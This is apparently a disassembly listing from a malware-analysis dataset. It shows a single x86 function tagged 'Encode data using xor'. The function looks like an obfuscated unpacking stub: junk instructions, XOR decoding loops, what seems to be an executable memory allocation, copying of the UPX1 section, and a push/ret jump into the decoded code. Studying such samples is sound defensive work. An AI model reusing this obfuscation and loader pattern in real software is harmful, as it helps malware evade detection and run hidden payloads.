Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x598c1625
dec esi
sub eax, esi
popal
sub eax, 0x271ffc0c
not eax
mov ebx, 0
mov esi, eax
not ecx
add ecx, 0xfa28de81
mov edx, esi
sub ecx, edi
add ecx, ecx
mov eax, edx
inc ecx
sub edi, ecx
inc ebx
or ecx, edi
and edi, ecx
cmp ebx, 0x100fb33
jne 0xa789c3
or edi, ecx
mov edi, 0x5417b233
add edi, ecx
sub eax, esi
inc eax
sub eax, esi
mov esi, 0xa78796
add edi, ecx
add ebx, 0x3e75142e
and ebx, ecx
mov eax, 0xa7898a
add ecx, 0x36b95f7e
not ecx
mov edx, dword [esi]
sub ebx, 1
mov ecx, 0x2ee1d120
mov ebx, ecx
and edx, 0xff
add ecx, 0x53c85c57
sub ecx, ebx
xor dword [eax], edx
sub ecx, 1
dec ebx
and ecx, edi
add eax, 1
mov edi, ecx
not edi
add esi, 1
dec edi
sub ebx, edi
add ecx, edi
cmp eax, entry0
jl 0xa78a13
sub edi, 1
sub ebx, 0x36edc187
or ebx, edi
not ebx
add ebx, 0x6a6bf80c
not ebx
add ecx, 0xb8aa64a9
mov edx, 0xa7898e
add ebx, 1
sub esi, 0xbb5e72a1
mov edx, dword [edx]
sub ebx, 1
not ecx
mov edx, dword [edx]
not edi
dec ecx
not esi
push edx
add ecx, esi
dec ecx
add ecx, ecx
mov edx, 0xa7898a
add edi, 0xe2cbe060
or edi, edi
mov edi, 0x7859ea83
mov edx, dword [edx]
add ecx, 0xb3fd237c
add ebx, 1
mov edx, dword [edx]
or edi, ecx
add edi, ebx
push 0xa78992
mov ebx, 0x15920fd5
sub esi, ebx
call edx
and ecx, ebx
add ecx, 0x9471613e
pop edx
and ecx, edi
mov ecx, esi
sub esp, 4
mov dword [esp], 0xa7899f
and ecx, esi
dec ecx
or esi, ebx
push eax
sub edi, ecx
not ecx
mov edi, 0x7e59b5cb
call edx
inc edi
mov esi, 0x2d1c02f4
or esi, ebx
push 0x40
or edi, edi
sub edi, 1
add ecx, 0x250d2fe9
push 0x3000
add ecx, 0x88b0bfb7
inc edi
add ecx, ebx
push 0x20000122
or ecx, edi
or esi, ebx
add edi, ebx
push 0
inc esi
sub esi, ebx
dec ecx
call eax
and edi, edi
not ecx
add eax, 0x200000bd
add ebx, 0x35dbae73
mov ebx, 0xff4e8a40
mov edx, 0x38d741c7
inc ecx
mov ebx, ecx
sub ebx, 0x7f17824b
mov dword [eax], edx
and esi, esi
or ebx, edi
mov edx, dword [eax]
mov ebx, 0x30018d6c
and ebx, esi
dec ecx
cmp edx, 0x38d741c7
je 0xa78b7f
mov ecx, 0
mov al, byte [ecx]
and ebx, ebx
mov esi, 0xc354a012
and ecx, ebx
dec esi
mov ecx, 0xf364c0a0
and esi, ebx
dec esi
or eax, esi
mov edi, section.UPX1
add eax, 0xdf617d7e
or eax, esi
add eax, 0xefbd9481
mov edx, 0xa78795
not eax
sub eax, esi
mov ecx, 0
mov esi, eax
inc esi
not esi
mov ebx, 0xa78796
dec esi
mov eax, 0x3ec68022
add esi, 0x4b31deca
lea ebx, [ecx + ebx]
sub esi, 0xeca9ed55
sub esi, eax
mov esi, 0xe18203db
mov ebx, dword [ebx]
add eax, 0x5bec3fa4
not esi
and ebx, 0xff
add esi, 0x579d60a2
dec esi
not eax
add ecx, 1
mov esi, eax
dec esi
cmp ecx, 0x1f4
jne 0xa78c09
mov ecx, 0
add eax, eax
add esi, eax
mov esi, eax
add eax, esi
not esi
xor dword [edi], ebx
and esi, eax
mov eax, 0xa044bbb
add edi, 2
and esi, esi
mov eax, 0xb2c6de2f
cmp edi, edx
jl 0xa78bb9
or eax, eax
and eax, eax
sub eax, esi
not eax
mov esi, section.UPX1
sub edi, ecx
not edi
mov eax, section.UPX1
add ecx, 0x85f1a316
add edi, edi
add edi, 0x85277fdf
mov edx, 0xa78795
sub edi, 1
sub edi, 0x24c31c67
sub edi, 0x7a3a5f39
mov ebx, 0
not ecx
add ecx, edi
and edi, ecx
mov bl, byte [eax]
sub ecx, edi
or edi, edi
mov byte [esi], bl
mov edi, 0xc6f13981
dec edi
add esi, 1
sub edi, ecx
not edi
add ecx, ecx
add eax, 2
and edi, ecx
sub ecx, 0x7787420a
add edi, 0xdad65e82
cmp eax, edx
jle 0xa78c77
add edi, 0xefa2de43
mov edi, ecx
add edi, 0x2ac20897
and esi, esi
add esi, 0x52ccdc74
push 0x8dc6a0
and esi, eax
sub esi, 0x85cbc5fc
ret